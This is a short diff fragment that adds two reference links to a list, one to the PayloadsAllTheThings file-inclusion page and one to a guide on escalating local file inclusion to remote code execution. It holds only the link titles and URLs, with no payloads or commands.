|
|
171
|
+
- PayloadsAllTheThings LFI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion
|
|
172
|
+
- LFI to RCE techniques: https://www.hackingarticles.in/comprehensive-guide-to-local-file-inclusion/
|